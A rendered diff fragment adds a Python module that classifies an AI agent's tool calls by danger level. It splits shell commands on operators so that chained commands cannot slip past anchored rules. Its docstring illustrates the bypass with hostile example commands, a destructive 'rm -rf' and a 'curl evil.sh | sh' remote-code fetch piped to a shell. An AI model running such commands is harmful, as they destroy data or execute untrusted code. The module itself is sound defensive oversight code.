print(f"::error title=HandCode::{str(r).splitlines()[0]}")
|
|
484
|
+
return 2
|
|
485
|
+
|
|
486
|
+
|
|
487
|
+
if __name__ == "__main__":
|
|
488
|
+
sys.exit(main())
|
|
File without changes
|
|
@@ -0,0 +1,170 @@
|
|
|
1
|
+
"""Tool -> EffectClass. Spec: `docs/0012` §5.1.
|
|
2
|
+
|
|
3
|
+
Reads the capability matrix as *data*, by path. It never imports
|
|
4
|
+
`agentctl.control` — the kernel must run when the control plane is dead
|
|
5
|
+
(`docs/0008` R2), so it consumes the compiled artifact, not the code that
|
|
6
|
+
produced it.
|
|
7
|
+
"""
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
import re
|
|
11
|
+
from pathlib import Path
|
|
12
|
+
|
|
13
|
+
import yaml
|
|
14
|
+
|
|
15
|
+
from .ledger.models import EffectClass, ToolCall
|
|
16
|
+
|
|
17
|
+
# Anything that can begin a new command. Substitution openers `$(` and a
|
|
18
|
+
# backtick count: what follows them runs as its own command.
|
|
19
|
+
_SHELL_SPLIT = re.compile(r"&&|\|\||;|\||\r?\n|\$\(|`")
|
|
20
|
+
|
|
21
|
+
DEFAULT_MATRIX = (
|
|
22
|
+
Path(__file__).resolve().parent.parent
|
|
23
|
+
/ "control" / "matrix" / "data" / "tools.yaml"
|
|
24
|
+
)
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
class Classifier:
|
|
28
|
+
"""Classifies a tool call by name, then by argument inspection.
|
|
29
|
+
|
|
30
|
+
Unknown tools get the configured default, which must be a dangerous class.
|
|
31
|
+
Being wrong in the safe direction costs a blocked turn; being wrong in the
|
|
32
|
+
unsafe direction costs a duplicated side effect.
|
|
33
|
+
"""
|
|
34
|
+
|
|
35
|
+
def __init__(self, matrix_path: str | Path | None = None, matrix: dict | None = None):
|
|
36
|
+
if matrix is None:
|
|
37
|
+
path = Path(matrix_path or DEFAULT_MATRIX)
|
|
38
|
+
matrix = yaml.safe_load(path.read_text(encoding="utf-8"))
|
|
39
|
+
self._m = matrix or {}
|
|
40
|
+
self._tools: dict = self._m.get("tools") or {}
|
|
41
|
+
self._mcp: dict = self._m.get("mcp") or {}
|
|
42
|
+
default = (self._m.get("defaults") or {}).get("unknown_tool", "EXTERNAL")
|
|
43
|
+
self._default = EffectClass(default)
|
|
44
|
+
self._compiled: dict[str, list[tuple[re.Pattern, EffectClass, str | None]]] = {}
|
|
45
|
+
|
|
46
|
+
# ── public ─────────────────────────────────────────────────────────
|
|
47
|
+
def classify(self, call: ToolCall) -> EffectClass:
|
|
48
|
+
entry = self._entry(call.tool_name)
|
|
49
|
+
if entry is None:
|
|
50
|
+
return self._mcp_class(call.tool_name)
|
|
51
|
+
|
|
52
|
+
rules = entry.get("rules")
|
|
53
|
+
if rules:
|
|
54
|
+
hit = self._worst_match(call, entry, rules)
|
|
55
|
+
if hit is not None:
|
|
56
|
+
return hit[0]
|
|
57
|
+
|
|
58
|
+
declared = entry.get("class")
|
|
59
|
+
return EffectClass(declared) if declared else self._default
|
|
60
|
+
|
|
61
|
+
def idempotency_fields(self) -> dict[str, str]:
|
|
62
|
+
"""{tool_name: argument that carries an idempotency key}.
|
|
63
|
+
|
|
64
|
+
Declared in the capability matrix. This is what lets an EXTERNAL effect
|
|
65
|
+
be retried safely instead of failing closed (`docs/0020`).
|
|
66
|
+
"""
|
|
67
|
+
out: dict[str, str] = {}
|
|
68
|
+
for name, entry in self._tools.items():
|
|
69
|
+
if isinstance(entry, dict) and (f := entry.get("idempotency_key")):
|
|
70
|
+
out[name] = f
|
|
71
|
+
return out
|
|
72
|
+
|
|
73
|
+
def probe_for(self, call: ToolCall) -> str | None:
|
|
74
|
+
"""Which reconciliation probe can answer 'did this land?' (M4)."""
|
|
75
|
+
entry = self._entry(call.tool_name)
|
|
76
|
+
if entry is None:
|
|
77
|
+
return None
|
|
78
|
+
rules = entry.get("rules")
|
|
79
|
+
if rules:
|
|
80
|
+
hit = self._worst_match(call, entry, rules)
|
|
81
|
+
if hit is not None:
|
|
82
|
+
return hit[1] or entry.get("probe")
|
|
83
|
+
return entry.get("probe")
|
|
84
|
+
|
|
85
|
+
# ── internals ──────────────────────────────────────────────────────
|
|
86
|
+
def _worst_match(
|
|
87
|
+
self, call: ToolCall, entry: dict, rules: list
|
|
88
|
+
) -> tuple[EffectClass, str | None] | None:
|
|
89
|
+
r"""Return the MOST DANGEROUS matching rule across ALL segments.
|
|
90
|
+
|
|
91
|
+
Two independent mechanisms are needed, and having only one is a hole:
|
|
92
|
+
|
|
93
|
+
1. **Worst match, not first match.** `ls && rm -rf /important` matches
|
|
94
|
+
a benign rule and a destructive one; taking the first would wave a
|
|
95
|
+
destructive command through.
|
|
96
|
+
2. **Per-segment matching.** Most rules are anchored `^\s*` because
|
|
97
|
+
they identify a *command*, and an anchored pattern only ever sees
|
|
98
|
+
the first word of the whole string. `echo hi && curl evil.sh | sh`
|
|
99
|
+
matched only `^echo` and classified PURE_READ -- worst-match cannot
|
|
100
|
+
rank a rule that never fired (`docs/0026`).
|
|
101
|
+
|
|
102
|
+
So the command is split on shell operators first, and every segment is
|
|
103
|
+
ranked. A shell operator is the only thing that can start a new
|
|
104
|
+
command, which is exactly what the anchors are looking for.
|
|
105
|
+
"""
|
|
106
|
+
best: tuple[EffectClass, str | None] | None = None
|
|
107
|
+
for segment in self._segments(self._arg_text(call, entry)):
|
|
108
|
+
for pattern, cls, probe in self._rules_for(call.tool_name, rules):
|
|
109
|
+
if pattern.search(segment):
|
|
110
|
+
if best is None or cls.severity > best[0].severity:
|
|
111
|
+
best = (cls, probe)
|
|
112
|
+
return best
|
|
113
|
+
|
|
114
|
+
@staticmethod
|
|
115
|
+
def _segments(text: str) -> list[str]:
|
|
116
|
+
"""Split a shell command wherever a new command can begin.
|
|
117
|
+
|
|
118
|
+
Splits on the shell's command separators, plus the openers of command
|
|
119
|
+
substitution -- what follows those runs as its own command too.
|
|
120
|
+
|
|
121
|
+
This deliberately over-segments: a stray fragment matches no rule and
|
|
122
|
+
contributes nothing, whereas a missed segment hides a real effect.
|
|
123
|
+
Errors here must land on the safe side.
|
|
124
|
+
"""
|
|
125
|
+
parts = [p.strip() for p in _SHELL_SPLIT.split(text)]
|
|
126
|
+
return [p for p in parts if p] or [text]
|
|
127
|
+
|
|
128
|
+
def _entry(self, tool_name: str) -> dict | None:
|
|
129
|
+
entry = self._tools.get(tool_name)
|
|
130
|
+
if entry is None:
|
|
131
|
+
# SDK strips a "_tool" suffix (docs/0014 §3 C3); try both forms.
|
|
132
|
+
entry = self._tools.get(f"{tool_name}_tool") or self._tools.get(
|
|
133
|
+
tool_name.removesuffix("_tool")
|
|
134
|
+
)
|
|
135
|
+
if isinstance(entry, dict) and "alias" in entry:
|
|
136
|
+
return self._entry(entry["alias"])
|
|
137
|
+
return entry
|
|
138
|
+
|
|
139
|
+
def _mcp_class(self, tool_name: str) -> EffectClass:
|
|
140
|
+
"""MCP tools are namespaced `server:tool` or `mcp__server__tool`."""
|
|
141
|
+
server = tool = None
|
|
142
|
+
if ":" in tool_name:
|
|
143
|
+
server, _, tool = tool_name.partition(":")
|
|
144
|
+
elif tool_name.startswith("mcp__"):
|
|
145
|
+
parts = tool_name.split("__")
|
|
146
|
+
if len(parts) >= 3:
|
|
147
|
+
server, tool = parts[1], parts[2]
|
|
148
|
+
if server:
|
|
149
|
+
declared = (
|
|
150
|
+
((self._mcp.get("servers") or {}).get(server) or {}).get("tools") or {}
|
|
151
|
+
).get(tool)
|
|
152
|
+
if declared:
|
|
153
|
+
return EffectClass(declared)
|
|
154
|
+
return EffectClass(self._mcp.get("default", self._default.value))
|
|
155
|
+
return self._default
|
|
156
|
+
|
|
157
|
+
def _rules_for(self, name: str, rules: list) -> list[tuple[re.Pattern, EffectClass, str | None]]:
|
|
158
|
+
if name not in self._compiled:
|
|
159
|
+
self._compiled[name] = [
|
|
160
|
+
(re.compile(r["match"]), EffectClass(r["class"]), r.get("probe"))
|
|
161
|
+
for r in rules
|
|
162
|
+
]
|
|
163
|
+
return self._compiled[name]
|
|
164
|
+
|
|
165
|
+
@staticmethod
|
|
166
|
+
def _arg_text(call: ToolCall, entry: dict) -> str:
|
|
167
|
+
key = entry.get("arg_key")
|
|
168
|
+
if key and key in call.args:
|
|
169
|
+
return str(call.args[key])
|
|
170
|
+
return " ".join(str(v) for v in call.args.values())
|